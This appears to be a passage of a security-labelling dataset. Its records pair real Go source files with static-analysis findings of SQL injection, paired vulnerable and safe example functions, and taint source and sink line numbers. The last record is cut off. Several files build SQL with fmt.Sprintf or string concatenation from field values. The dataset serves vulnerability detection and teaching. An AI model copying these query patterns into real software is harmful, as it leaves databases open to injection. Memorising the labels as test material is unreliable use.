// Because the Message is embedded?\n\t)\n}\n\ntype parsedBidAsk struct {\n\tPrice float64\n\tSize float64\n\tOrderID string\n}\n\nfunc batchInsertSnapshot(db *sql.DB, s *gdax.Snapshot) (sql.Result, error) {\n\tparseBidAsk := func(vals []string) (*parsedBidAsk, error) {\n\t\tprice, err := strconv.ParseFloat(vals[0], 64)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not convert price to float\")\n\t\t}\n\t\tsize, err := strconv.ParseFloat(vals[1], 64)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not convert size to float\")\n\t\t}\n\t\treturn &parsedBidAsk{price, size, vals[2]}, nil\n\t}\n\n\tvar values []string\n\tfor _, bid := range s.Bids {\n\t\tb, err := parseBidAsk(bid)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not parse bid\")\n\t\t}\n\t\tvalue := fmt.Sprintf(\"('%v',%v,'%v',%v,%v,'%v')\",\n\t\t\ts.ProductID,\n\t\t\ts.Sequence,\n\t\t\t\"bid\",\n\t\t\tb.Price,\n\t\t\tb.Size,\n\t\t\tb.OrderID,\n\t\t)\n\t\tvalues = append(values, value)\n\t}\n\tfor _, ask := range s.Asks {\n\t\ta, err := parseBidAsk(ask)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not parse ask\")\n\t\t}\n\t\tvalue := fmt.Sprintf(\"('%v',%v,'%v',%v,%v,'%v')\",\n\t\t\ts.ProductID,\n\t\t\ts.Sequence,\n\t\t\t\"ask\",\n\t\t\ta.Price,\n\t\t\ta.Size,\n\t\t\ta.OrderID,\n\t\t)\n\t\tvalues = append(values, value)\n\t}\n\n\treturn db.Exec(fmt.Sprintf(`\n\t\tINSERT INTO snapshots (\n\t\t\tproduct_id, sequence, bid_ask, price, size, order_id\n\t\t) VALUES %s;\n\t`, strings.Join(values, \",\")))\n}\n\nfunc insertSnapshot(stmts *statements, s *gdax.Snapshot) ([]sql.Result, error) {\n\tparseBidAsk := func(vals []string) (*parsedBidAsk, error) {\n\t\tprice, err := strconv.ParseFloat(vals[0], 64)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not convert price to float\")\n\t\t}\n\t\tsize, err := strconv.ParseFloat(vals[1], 64)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not convert size to float\")\n\t\t}\n\t\treturn &parsedBidAsk{price, size, vals[2]}, nil\n\t}\n\n\tvar results []sql.Result\n\n\tfor _, bid := range s.Bids {\n\t\tb, err := parseBidAsk(bid)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not parse bid\")\n\t\t}\n\t\tresult, err := stmts.InsertSnapshot.Exec(\n\t\t\ts.ProductID,\n\t\t\ts.Sequence,\n\t\t\t\"bid\",\n\t\t\tb.Price,\n\t\t\tb.Size,\n\t\t\tb.OrderID,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not insert bid\")\n\t\t}\n\t\tresults = append(results, result)\n\t}\n\n\tfor _, ask := range s.Asks {\n\t\ta, err := parseBidAsk(ask)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not parse ask\")\n\t\t}\n\t\tresult, err := stmts.InsertSnapshot.Exec(\n\t\t\ts.ProductID,\n\t\t\ts.Sequence,\n\t\t\t\"ask\",\n\t\t\ta.Price,\n\t\t\ta.Size,\n\t\t\ta.OrderID,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not insert ask\")\n\t\t}\n\t\tresults = append(results, result)\n\t}\n\n\treturn results, nil\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 150, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 150, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "150f253e14d58971088025c43293fcb71ffcd27eb146b0504ac425d7a8493284", "license": {"spdx": ["MIT"], "repo": "fluca1978/pg_timetable", "path": "internal/migrator/migrator.go", "repo_head_hexsha": "d7f690848f4692edfe40d5ec125343265b8459e4", "stack_hexsha": "08916b54b07b6a4af58a8980a71c4759d4f95882", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 74, "entireCode": "package migrator\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n)\n\nconst defaultTableName = \"migrations\"\n\n// Migrator is the migrator implementation\ntype Migrator struct {\n\tTableName string\n\tmigrations []interface{}\n\tonNotice func(string)\n}\n\n// Option sets options such migrations or table name.\ntype Option func(*Migrator)\n\n// TableName creates an option to allow overriding the default table name\nfunc TableName(tableName string) Option {\n\treturn func(m *Migrator) {\n\t\tm.TableName = tableName\n\t}\n}\n\n// SetNotice overrides the default standard output function\nfunc SetNotice(noticeFunc func(string)) Option {\n\treturn func(m *Migrator) {\n\t\tm.onNotice = noticeFunc\n\t}\n}\n\n// Migrations creates an option with provided migrations\nfunc Migrations(migrations ...interface{}) Option {\n\treturn func(m *Migrator) {\n\t\tm.migrations = migrations\n\t}\n}\n\n// New creates a new migrator instance\nfunc New(opts ...Option) (*Migrator, error) {\n\tm := &Migrator{\n\t\tTableName: defaultTableName,\n\t\tonNotice: func(msg string) {\n\t\t\tfmt.Println(msg)\n\t\t},\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\n\tif len(m.migrations) == 0 {\n\t\treturn nil, errors.New(\"Migrations must be provided\")\n\t}\n\n\tfor _, m := range m.migrations {\n\t\tswitch m.(type) {\n\t\tcase *Migration:\n\t\tcase *MigrationNoTx:\n\t\tdefault:\n\t\t\treturn nil, errors.New(\"Invalid migration type\")\n\t\t}\n\t}\n\n\treturn m, nil\n}\n\n// Migrate applies all available migrations\nfunc (m *Migrator) Migrate(ctx context.Context, db *sql.DB) error {\n\t// create migrations table if doesn't exist\n\t_, err := db.ExecContext(ctx, fmt.Sprintf(`\n\t\tCREATE TABLE IF NOT EXISTS %s (\n\t\t\tid INT8 NOT NULL,\n\t\t\tversion TEXT\t NOT NULL,\n\t\t\tPRIMARY KEY (id)\n\t\t);\n\t`, m.TableName))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tpm, count, err := m.Pending(ctx, db)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// plan migrations\n\tfor idx, migration := range pm {\n\t\tinsertVersion := fmt.Sprintf(\"INSERT INTO %s (id, version) VALUES (%d, '%s')\", m.TableName, idx+count, migration.(fmt.Stringer).String())\n\t\tswitch mm := migration.(type) {\n\t\tcase *Migration:\n\t\t\tif err := migrate(ctx, db, insertVersion, mm, m.onNotice); err != nil {\n\t\t\t\treturn fmt.Errorf(\"Error while running migrations: %w\", err)\n\t\t\t}\n\t\tcase *MigrationNoTx:\n\t\t\tif err := migrateNoTx(ctx, db, insertVersion, mm, m.onNotice); err != nil {\n\t\t\t\treturn fmt.Errorf(\"Error while running migrations: %w\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// Pending returns all pending (not yet applied) migrations and count of migration applied\nfunc (m *Migrator) Pending(ctx context.Context, db *sql.DB) ([]interface{}, int, error) {\n\tcount, err := countApplied(ctx, db, m.TableName)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tif count > len(m.migrations) {\n\t\tcount = len(m.migrations)\n\t}\n\treturn m.migrations[count:len(m.migrations)], count, nil\n}\n\n// NeedUpgrade returns True if database need to be updated with migrations\nfunc (m *Migrator) NeedUpgrade(ctx context.Context, db *sql.DB) (bool, error) {\n\texists, err := tableExists(ctx, db, m.TableName)\n\tif !exists {\n\t\treturn true, err\n\t}\n\tmm, _, err := m.Pending(ctx, db)\n\treturn len(mm) > 0, err\n}\n\nfunc countApplied(ctx context.Context, db *sql.DB, tableName string) (int, error) {\n\t// count applied migrations\n\tvar count int\n\terr := db.QueryRowContext(ctx, fmt.Sprintf(\"SELECT count(*) FROM %s\", tableName)).Scan(&count)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn count, nil\n}\n\nfunc tableExists(ctx context.Context, db *sql.DB, tableName string) (bool, error) {\n\tvar exists bool\n\terr := db.QueryRowContext(ctx, \"SELECT to_regclass($1) IS NOT NULL\", tableName).Scan(&exists)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn exists, nil\n}\n\n// Migration represents a single migration\ntype Migration struct {\n\tName string\n\tFunc func(*sql.Tx) error\n}\n\n// String returns a string representation of the migration\nfunc (m *Migration) String() string {\n\treturn m.Name\n}\n\n// MigrationNoTx represents a single not transactional migration\ntype MigrationNoTx struct {\n\tName string\n\tFunc func(context.Context, *sql.DB) error\n}\n\nfunc (m *MigrationNoTx) String() string {\n\treturn m.Name\n}\n\nfunc migrate(ctx context.Context, db *sql.DB, insertVersion string, migration *Migration, notice func(string)) error {\n\ttx, err := db.BeginTx(ctx, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif errRb := tx.Rollback(); errRb != nil {\n\t\t\t\terr = fmt.Errorf(\"Error rolling back: %s\\n%s\", errRb, err)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\terr = tx.Commit()\n\t}()\n\tnotice(fmt.Sprintf(\"Applying migration named '%s'...\", migration.Name))\n\tif err = migration.Func(tx); err != nil {\n\t\treturn fmt.Errorf(\"Error executing golang migration: %w\", err)\n\t}\n\tif _, err = tx.Exec(insertVersion); err != nil {\n\t\treturn fmt.Errorf(\"Error updating migration versions: %w\", err)\n\t}\n\tnotice(fmt.Sprintf(\"Applied migration named '%s'\", migration.Name))\n\n\treturn err\n}\n\nfunc migrateNoTx(ctx context.Context, db *sql.DB, insertVersion string, migration *MigrationNoTx, notice func(string)) error {\n\tnotice(fmt.Sprintf(\"Applying no tx migration named '%s'...\", migration.Name))\n\tif err := migration.Func(ctx, db); err != nil {\n\t\treturn fmt.Errorf(\"Error executing golang migration: %w\", err)\n\t}\n\tif _, err := db.ExecContext(ctx, insertVersion); err != nil {\n\t\treturn fmt.Errorf(\"Error updating migration versions: %w\", err)\n\t}\n\tnotice(fmt.Sprintf(\"Applied no tx migration named '%s'...\", migration.Name))\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 74, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "36f99a32a0ca29642c1a3d245bc9f889d52e1a5fd117d74e96cd7b7cfe57435b", "license": {"spdx": ["Apache-2.0"], "repo": "pavedroad-io/kevlar-web", "path": "dev/services/src/prUserIdMapper/prUserIdMapperModel.go", "repo_head_hexsha": "cbb51ed1d22675bd05c0d37255be894fbcbd3bde", "stack_hexsha": "95cd503233ac8b110dcc85a71a314b59a1b0c195", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 46, "entireCode": "// prUserIdMapperModel\n// data structure and db/message interfaces\n\npackage main\n\nimport (\n\t\"database/sql\"\n\t_ \"encoding/json\"\n\t\"errors\"\n\t_ \"errors\"\n\t\"fmt\"\n\t\"log\"\n\t_ \"os\"\n)\n\n// prUserIdMapper data structure for token storage\ntype prUserIdMapper struct {\n\tAPIVersion string `json:\"apiVersion\"`\n\tObjVersion string `json:\"objVersion\"`\n\tKind string `json:\"kind\"`\n\tCredential string `json:\"login\"`\n\tUserUUID string `json:\"userUUID\"`\n\tLoginCount int `json:\"loginCount\"`\n\tCreated string `json:\"created,ignoreempty\"`\n\tUpdated string `json:\"updated,ignoreempty\"`\n\tActive string `json:\"active\"`\n}\n\n// updateUserIdMapper in database\nfunc (t *prUserIdMapper) updateUserIdMapper(db *sql.DB) error {\n\tupdate := `\n\tUPDATE pavedroad.pruseridmapper\n SET apiVersion = '%s', \n objVersion = '%s',\n kind = '%s', \n userUUID = '%s', \n loginCount = '%d', \n updated = '%s', \n active = '%s'\n WHERE\n credential = '%s';\n `\n\tstatement := fmt.Sprintf(update, t.APIVersion, t.ObjVersion, t.Kind,\n\t\tt.UserUUID, t.LoginCount, t.Updated, t.Active, t.Credential)\n\n\t_, er1 := db.Query(statement)\n\n\tif er1 != nil {\n\t\tlog.Println(\"Update failed\")\n\t\treturn er1\n\t}\n\n\treturn nil\n}\n\n// createUserIdMapper in database\nfunc (t *prUserIdMapper) createUserIdMapper(db *sql.DB) error {\n\n\tstatement := fmt.Sprintf(\"INSERT INTO pavedroad.pruseridmapper(apiVersion, objVersion, kind, credential, userUUID, loginCount, created, updated, active) VALUES('%s', '%s', '%s', '%s', '%s', '%d', '%s', '%s', '%s') RETURNING credential;\",\n\t\tt.APIVersion, t.ObjVersion, t.Kind, t.Credential, t.UserUUID, t.LoginCount,\n\t\tt.Created, t.Updated, t.Active)\n\n\trows, er1 := db.Query(statement)\n\n\tif er1 != nil {\n\t\tlog.Printf(\"Insert failed for: %s\", t.Credential)\n\t\tlog.Printf(\"SQL Error: %s\", er1)\n\t\treturn er1\n\t}\n\n\tdefer rows.Close()\n\n\treturn nil\n}\n\n// getUserIdMappers: return a list of tokens\n//\nfunc (t *prUserIdMapper) getUserIdMappers(db *sql.DB, start, count int) ([]prUserIdMapper, error) {\n\tstatement := fmt.Sprintf(\"SELECT apiVersion, objVersion, kind, credential, userUUID, loginCount, created, updated, active FROM pavedroad.pruseridmapper LIMIT %d OFFSET %d\", count, start)\n\trows, err := db.Query(statement)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer rows.Close()\n\n\tmappings := []prUserIdMapper{}\n\n\tfor rows.Next() {\n\t\tvar t prUserIdMapper\n\t\terr := rows.Scan(&t.APIVersion, &t.ObjVersion, &t.Kind, &t.Credential,\n\t\t\t&t.UserUUID, &t.LoginCount, &t.Created, &t.Updated, &t.Active)\n\n\t\tif err != nil {\n\t\t\tlog.Printf(\"SQL rows.Scan failed: %s\", err)\n\t\t\treturn mappings, err\n\t\t}\n\n\t\tmappings = append(mappings, t)\n\t}\n\n\treturn mappings, nil\n}\n\n// getUserIdMapper: return a token based on credential\n//\nfunc (t *prUserIdMapper) getUserIdMapper(db *sql.DB, key string) error {\n\tstatement := fmt.Sprintf(\"SELECT apiVersion, objVersion, kind, credential, userUUID, loginCount, created, updated, active FROM pavedroad.pruseridmapper WHERE credential = '%s'\", key)\n\trow := db.QueryRow(statement)\n\n\t// Fill in mapper\n\tswitch err := row.Scan(&t.APIVersion, &t.ObjVersion, &t.Kind, &t.Credential,\n\t\t&t.UserUUID, &t.LoginCount, &t.Created, &t.Updated, &t.Active); err {\n\n\tcase sql.ErrNoRows:\n\t\tm := fmt.Sprintf(\"credential %s does not exist\", key)\n\t\treturn errors.New(m)\n\tcase nil:\n\t\tbreak\n\tdefault:\n\t\t//Some error to catch\n\t\tpanic(err)\n\t}\n\n // increment the login count\n t.LoginCount +=1\n\tstatement = fmt.Sprintf(\"UPDATE pavedroad.pruseridmapper SET loginCount = '%d' WHERE credential = '%s'\", t.LoginCount, key)\n\n\t_, er1 := db.Query(statement)\n\n\tif er1 != nil {\n\t\tlog.Println(\"Incrementing login count failed\")\n }\n\n\treturn nil\n}\n\n// deleteUserIdMapper: return a token based on UID\n//\nfunc (t *prUserIdMapper) deleteUserIdMapper(db *sql.DB, cred string) error {\n\tstatement := fmt.Sprintf(\"DELETE FROM pavedroad.pruseridmapper WHERE credential = '%s'\", cred)\n\tresult, err := db.Exec(statement)\n\tc, e := result.RowsAffected()\n\n\tif e == nil && c == 0 {\n\t\tem := fmt.Sprintf(\"credential %s does not exist\", cred)\n\t\tlog.Println(em)\n\t\tlog.Println(e)\n\t\treturn errors.New(em)\n\t}\n\n\treturn err\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 43, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 46, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "0c18478ccdb5ef0481f9cbad261b556d9955f40f0851622a75131b90bdf0e30c", "license": {"spdx": ["Apache-2.0"], "repo": "dominodatalab/gosnowflake", "path": "driver_test.go", "repo_head_hexsha": "ed3fe29f1b54100f9cc860a73ad2e4a11cf5896b", "stack_hexsha": "cade0e4260806c7e33ebd7f7a0f0a38a6e60fa3a", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 126, "entireCode": "// Copyright (c) 2017-2022 Snowflake Computing Inc. All rights reserved.\n\npackage gosnowflake\n\nimport (\n\t\"context\"\n\t\"crypto/rsa\"\n\t\"database/sql\"\n\t\"flag\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"os/signal\"\n\t\"strings\"\n\t\"syscall\"\n\t\"testing\"\n\t\"time\"\n)\n\nvar (\n\tusername string\n\tpass string\n\taccount string\n\tdbname string\n\tschemaname string\n\twarehouse string\n\trolename string\n\tdsn string\n\thost string\n\tport string\n\tprotocol string\n\tcustomPrivateKey bool // Whether user has specified the private key path\n\ttestPrivKey *rsa.PrivateKey // Valid private key used for all test cases\n)\n\nconst (\n\tselectNumberSQL = \"SELECT %s::NUMBER(%v, %v) AS C\"\n\tselectVariousTypes = \"SELECT 1.0::NUMBER(30,2) as C1, 2::NUMBER(38,0) AS C2, 't3' AS C3, 4.2::DOUBLE AS C4, 'abcd'::BINARY AS C5, true AS C6\"\n\tselectRandomGenerator = \"SELECT SEQ8(), RANDSTR(1000, RANDOM()) FROM TABLE(GENERATOR(ROWCOUNT=>%v))\"\n\tPSTLocation = \"America/Los_Angeles\"\n)\n\n// The tests require the following parameters in the environment variables.\n// SNOWFLAKE_TEST_USER, SNOWFLAKE_TEST_PASSWORD, SNOWFLAKE_TEST_ACCOUNT,\n// SNOWFLAKE_TEST_DATABASE, SNOWFLAKE_TEST_SCHEMA, SNOWFLAKE_TEST_WAREHOUSE.\n// Optionally you may specify SNOWFLAKE_TEST_PROTOCOL, SNOWFLAKE_TEST_HOST\n// and SNOWFLAKE_TEST_PORT to specify the endpoint.\nfunc init() {\n\t// get environment variables\n\tenv := func(key, defaultValue string) string {\n\t\tif value := os.Getenv(key); value != \"\" {\n\t\t\treturn value\n\t\t}\n\t\treturn defaultValue\n\t}\n\tusername = env(\"SNOWFLAKE_TEST_USER\", \"testuser\")\n\tpass = env(\"SNOWFLAKE_TEST_PASSWORD\", \"\")\n\taccount = env(\"SNOWFLAKE_TEST_ACCOUNT\", \"testaccount\")\n\tdbname = env(\"SNOWFLAKE_TEST_DATABASE\", \"testdb\")\n\tschemaname = env(\"SNOWFLAKE_TEST_SCHEMA\", \"public\")\n\trolename = env(\"SNOWFLAKE_TEST_ROLE\", \"sysadmin\")\n\twarehouse = env(\"SNOWFLAKE_TEST_WAREHOUSE\", \"testwarehouse\")\n\n\tprotocol = env(\"SNOWFLAKE_TEST_PROTOCOL\", \"https\")\n\thost = os.Getenv(\"SNOWFLAKE_TEST_HOST\")\n\tport = env(\"SNOWFLAKE_TEST_PORT\", \"443\")\n\tif host == \"\" {\n\t\thost = fmt.Sprintf(\"%s.snowflakecomputing.com\", account)\n\t} else {\n\t\thost = fmt.Sprintf(\"%s:%s\", host, port)\n\t}\n\n\tsetupPrivateKey()\n\n\tcreateDSN(\"UTC\")\n}\n\nfunc createDSN(timezone string) {\n\tdsn = fmt.Sprintf(\"%s:%s@%s/%s/%s\", username, pass, host, dbname, schemaname)\n\n\tparameters := url.Values{}\n\tparameters.Add(\"timezone\", timezone)\n\tif protocol != \"\" {\n\t\tparameters.Add(\"protocol\", protocol)\n\t}\n\tif account != \"\" {\n\t\tparameters.Add(\"account\", account)\n\t}\n\tif warehouse != \"\" {\n\t\tparameters.Add(\"warehouse\", warehouse)\n\t}\n\tif rolename != \"\" {\n\t\tparameters.Add(\"role\", rolename)\n\t}\n\n\tif len(parameters) > 0 {\n\t\tdsn += \"?\" + parameters.Encode()\n\t}\n}\n\n// setup creates a test schema so that all tests can run in the same schema\nfunc setup() (string, error) {\n\tenv := func(key, defaultValue string) string {\n\t\tif value := os.Getenv(key); value != \"\" {\n\t\t\treturn value\n\t\t}\n\t\treturn defaultValue\n\t}\n\n\torgSchemaname := schemaname\n\tif env(\"GITHUB_WORKFLOW\", \"\") != \"\" {\n\t\tgithubRunnerID := env(\"RUNNER_TRACKING_ID\", \"GITHUB_RUNNER_ID\")\n\t\tgithubRunnerID = strings.ReplaceAll(githubRunnerID, \"-\", \"_\")\n\t\tgithubSha := env(\"GITHUB_SHA\", \"GITHUB_SHA\")\n\t\tschemaname = fmt.Sprintf(\"%v_%v\", githubRunnerID, githubSha)\n\t} else {\n\t\tschemaname = fmt.Sprintf(\"golang_%v\", time.Now().UnixNano())\n\t}\n\tvar db *sql.DB\n\tvar err error\n\tif db, err = sql.Open(\"snowflake\", dsn); err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to open db. err: %v\", err)\n\t}\n\tdefer db.Close()\n\tif _, err = db.Exec(fmt.Sprintf(\"CREATE OR REPLACE SCHEMA %v\", schemaname)); err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to create schema. %v\", err)\n\t}\n\tcreateDSN(\"UTC\")\n\treturn orgSchemaname, nil\n}\n\n// teardown drops the test schema\nfunc teardown() error {\n\tvar db *sql.DB\n\tvar err error\n\tif db, err = sql.Open(\"snowflake\", dsn); err != nil {\n\t\treturn fmt.Errorf(\"failed to open db. %v, err: %v\", dsn, err)\n\t}\n\tdefer db.Close()\n\tif _, err = db.Exec(fmt.Sprintf(\"DROP SCHEMA IF EXISTS %v\", schemaname)); err != nil {\n\t\treturn fmt.Errorf(\"failed to create schema. %v\", err)\n\t}\n\treturn nil\n}\n\nfunc TestMain(m *testing.M) {\n\tflag.Parse()\n\tsignal.Ignore(syscall.SIGQUIT)\n\tif value := os.Getenv(\"SKIP_SETUP\"); value != \"\" {\n\t\tos.Exit(m.Run())\n\t}\n\n\tif _, err := setup(); err != nil {\n\t\tpanic(err)\n\t}\n\tret := m.Run()\n\tif err := teardown(); err != nil {\n\t\tpanic(err)\n\t}\n\tos.Exit(ret)\n}\n\ntype DBTest struct {\n\t*testing.T\n\tdb *sql.DB\n}\n\nfunc (dbt *DBTest) mustQuery(query string, args ...interface{}) (rows *RowsExtended) {\n\t// handler interrupt signal\n\tctx, cancel := context.WithCancel(context.Background())\n\tc := make(chan os.Signal, 1)\n\tc0 := make(chan bool, 1)\n\tsignal.Notify(c, os.Interrupt)\n\tdefer func() {\n\t\tsignal.Stop(c)\n\t}()\n\tgo func() {\n\t\tselect {\n\t\tcase <-c:\n\t\t\tfmt.Println(\"Caught signal, canceling...\")\n\t\t\tcancel()\n\t\tcase <-ctx.Done():\n\t\t\tfmt.Println(\"Done\")\n\t\tcase <-c0:\n\t\t}\n\t\tclose(c)\n\t}()\n\n\trs, err := dbt.db.QueryContext(ctx, query, args...)\n\tif err != nil {\n\t\tdbt.fail(\"query\", query, err)\n\t}\n\treturn &RowsExtended{\n\t\trows: rs,\n\t\tcloseChan: &c0,\n\t}\n}\n\nfunc (dbt *DBTest) mustQueryContext(ctx context.Context, query string, args ...interface{}) (rows *RowsExtended) {\n\t// handler interrupt signal\n\tctx, cancel := context.WithCancel(ctx)\n\tc := make(chan os.Signal, 1)\n\tc0 := make(chan bool, 1)\n\tsignal.Notify(c, os.Interrupt)\n\tdefer func() {\n\t\tsignal.Stop(c)\n\t}()\n\tgo func() {\n\t\tselect {\n\t\tcase <-c:\n\t\t\tfmt.Println(\"Caught signal, canceling...\")\n\t\t\tcancel()\n\t\tcase <-ctx.Done():\n\t\t\tfmt.Println(\"Done\")\n\t\tcase <-c0:\n\t\t}\n\t\tclose(c)\n\t}()\n\n\trs, err := dbt.db.QueryContext(ctx, query, args...)\n\tif err != nil {\n\t\tdbt.fail(\"query\", query, err)\n\t}\n\treturn &RowsExtended{\n\t\trows: rs,\n\t\tcloseChan: &c0,\n\t}\n}\n\nfunc (dbt *DBTest) mustQueryAssertCount(query string, expected int, args ...interface{}) {\n\trows := dbt.mustQuery(query, args...)\n\tcnt := 0\n\tfor rows.Next() {\n\t\tcnt++\n\t}\n\tif cnt != expected {\n\t\tdbt.Fatalf(\"expected %v, got %v\", expected, cnt)\n\t}\n}\n\nfunc (dbt *DBTest) fail(method, query string, err error) {\n\tif len(query) > 300 {\n\t\tquery = \"[query too large to print]\"\n\t}\n\tdbt.Fatalf(\"error on %s [%s]: %s\", method, query, err.Error())\n}\n\nfunc (dbt *DBTest) mustExec(query string, args ...interface{}) (res sql.Result) {\n\tres, err := dbt.db.Exec(query, args...)\n\tif err != nil {\n\t\tdbt.fail(\"exec\", query, err)\n\t}\n\treturn res\n}\n\nfunc (dbt *DBTest) mustExecContext(ctx context.Context, query string, args ...interface{}) (res sql.Result) {\n\tres, err := dbt.db.ExecContext(ctx, query, args...)\n\tif err != nil {\n\t\tdbt.fail(\"exec context\", query, err)\n\t}\n\treturn res\n}\n\nfunc (dbt *DBTest) mustDecimalSize(ct *sql.ColumnType) (pr int64, sc int64) {\n\tvar ok bool\n\tpr, sc, ok = 